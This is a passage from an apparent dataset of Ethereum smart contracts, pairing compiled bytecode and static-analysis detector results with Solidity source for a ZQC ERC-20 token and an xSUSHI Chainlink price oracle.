7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820fad54bfb48a9202c83c2222a3640b30fe666fea10344d012ab21809b13dc8dbc0029
|
{"success": true, "error": null, "results": {}}
| 9,131 |
0xa739950c5845e091df4bc276636317d2707c5089
|
pragma solidity ^0.4.19;
/*
* Creator: ZQC (zinq chain)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* ZQC token smart contract.
*/
contract ZQCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 120000000 * (10**10);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function ZQCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "zinq chain";
string constant public symbol = "ZQC";
uint8 constant public decimals = 10;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a72565b005b34156103f057600080fd5b6103f8610c7a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb3565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d3f565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dc6565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600a81526020017f7a696e7120636861696e0000000000000000000000000000000000000000000081525081565b60008061067f3385610d3f565b148061068b5750600082145b151561069657600080fd5b6106a08383610f27565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d6848484611019565b90505b9392505050565b600a81565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a68576109636710a741a4627800006004546113ff565b8211156109735760009050610a6d565b6109bb6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611418565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0960045483611418565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a6d565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0b57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb957600080fd5b6102c65a03f11515610bca57600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f5a5143000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0e57600080fd5b600560009054906101000a900460ff1615610d2c5760009050610d39565b610d368383611436565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5d57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561105657600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110e357600090506113f8565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561113257600090506113f8565b60008211801561116e57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138e576111f9600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113ff565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c16000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113ff565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611418565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140d57fe5b818303905092915050565b600080828401905083811015151561142c57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561147357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114c25760009050611682565b6000821180156114fe57508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116185761154b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113ff565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d56000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611418565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582035bd04ed5c211e6c49d5b00be20ea842df587fa8b1066e770a374469b353586e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,132 |
0xefc48381ea311850aff3d6b9e66c36f4f81f1f92
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.1
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
interface IAggregator {
function latestAnswer() external view returns (int256 answer);
}
/// @title xSUSHIOracle
/// @author BoringCrypto
/// @notice Oracle used for getting the price of xSUSHI based on Chainlink
/// @dev
contract xSUSHIOracle is IOracle {
using BoringMath for uint256; // Keep everything in uint256
IERC20 public immutable sushi;
IERC20 public immutable bar;
IAggregator public immutable sushiOracle;
constructor (IERC20 sushi_, IERC20 bar_, IAggregator sushiOracle_) public {
sushi = sushi_;
bar = bar_;
sushiOracle = sushiOracle_;
}
// Calculates the lastest exchange rate
// Uses sushi rate and xSUSHI conversion and divide for any conversion other than from SUSHI to ETH
function _get(
address divide,
uint256 decimals
) internal view returns (uint256) {
uint256 price = uint256(1e36);
price = price.mul(uint256(sushiOracle.latestAnswer())).mul(bar.totalSupply()) / sushi.balanceOf(address(bar));
if (divide != address(0)) {
price = price / uint256(IAggregator(divide).latestAnswer());
}
return price / decimals;
}
function getDataParameter(
address divide,
uint256 decimals
) public pure returns (bytes memory) {
return abi.encode(divide, decimals);
}
// Get the latest exchange rate
/// @inheritdoc IOracle
function get(bytes calldata data) public override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(, rate) = peek(data);
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "xSUSHI Chainlink";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "xSUSHI-LINK";
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063d39bbef011610066578063d39bbef0146101d3578063d568866c14610253578063d6d7d525146102c1578063eeb8a8d3146102c1578063febb0f7e1461034a57610093565b80630a08790314610098578063a1e66a40146100bc578063c699c4d6146100c4578063cc9e38c6146101a7575b600080fd5b6100a0610352565b604080516001600160a01b039092168252519081900360200190f35b6100a0610376565b610132600480360360208110156100da57600080fd5b810190602081018135600160201b8111156100f457600080fd5b82018360208201111561010657600080fd5b803590602001918460018302840111600160201b8311171561012757600080fd5b50909250905061039a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016c578181015183820152602001610154565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610132600480360360408110156101bd57600080fd5b506001600160a01b0381351690602001356103c3565b610241600480360360208110156101e957600080fd5b810190602081018135600160201b81111561020357600080fd5b82018360208201111561021557600080fd5b803590602001918460018302840111600160201b8311171561023657600080fd5b5090925090506103f2565b60408051918252519081900360200190f35b6101326004803603602081101561026957600080fd5b810190602081018135600160201b81111561028357600080fd5b82018360208201111561029557600080fd5b803590602001918460018302840111600160201b831117156102b657600080fd5b509092509050610406565b61032f600480360360208110156102d757600080fd5b810190602081018135600160201b8111156102f157600080fd5b82018360208201111561030357600080fd5b803590602001918460018302840111600160201b8311171561032457600080fd5b509092509050610432565b60408051921515835260208301919091528051918290030190f35b6100a0610475565b7f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe281565b7f000000000000000000000000e572cef69f43c2e488b33924af04bdace19079cf81565b60408051808201909152600b81526a7853555348492d4c494e4b60a81b60208201525b92915050565b604080516001600160a01b03939093166020840152828101919091528051808303820181526060909201905290565b60006103fe8383610432565b949350505050565b505060408051808201909152601081526f78535553484920436861696e6c696e6b60801b602082015290565b6000806000808585604081101561044857600080fd5b506001600160a01b03813516925060200135905060016104688383610499565b9350935050509250929050565b7f0000000000000000000000008798249c2e607446efb7ad49ec89dd1865ff427281565b6000806ec097ce7bc90715b34b9f100000000090507f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe26001600160a01b03166370a082317f0000000000000000000000008798249c2e607446efb7ad49ec89dd1865ff42726040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561053b57600080fd5b505afa15801561054f573d6000803e3d6000fd5b505050506040513d602081101561056557600080fd5b5051604080516318160ddd60e01b81529051610696916001600160a01b037f0000000000000000000000008798249c2e607446efb7ad49ec89dd1865ff427216916318160ddd91600480820192602092909190829003018186803b1580156105cc57600080fd5b505afa1580156105e0573d6000803e3d6000fd5b505050506040513d60208110156105f657600080fd5b5051604080516350d25bcd60e01b81529051610690916001600160a01b037f000000000000000000000000e572cef69f43c2e488b33924af04bdace19079cf16916350d25bcd91600480820192602092909190829003018186803b15801561065d57600080fd5b505afa158015610671573d6000803e3d6000fd5b505050506040513d602081101561068757600080fd5b50518590610732565b90610732565b8161069d57fe5b0490506001600160a01b0384161561072057836001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e857600080fd5b505afa1580156106fc573d6000803e3d6000fd5b505050506040513d602081101561071257600080fd5b5051818161071c57fe5b0490505b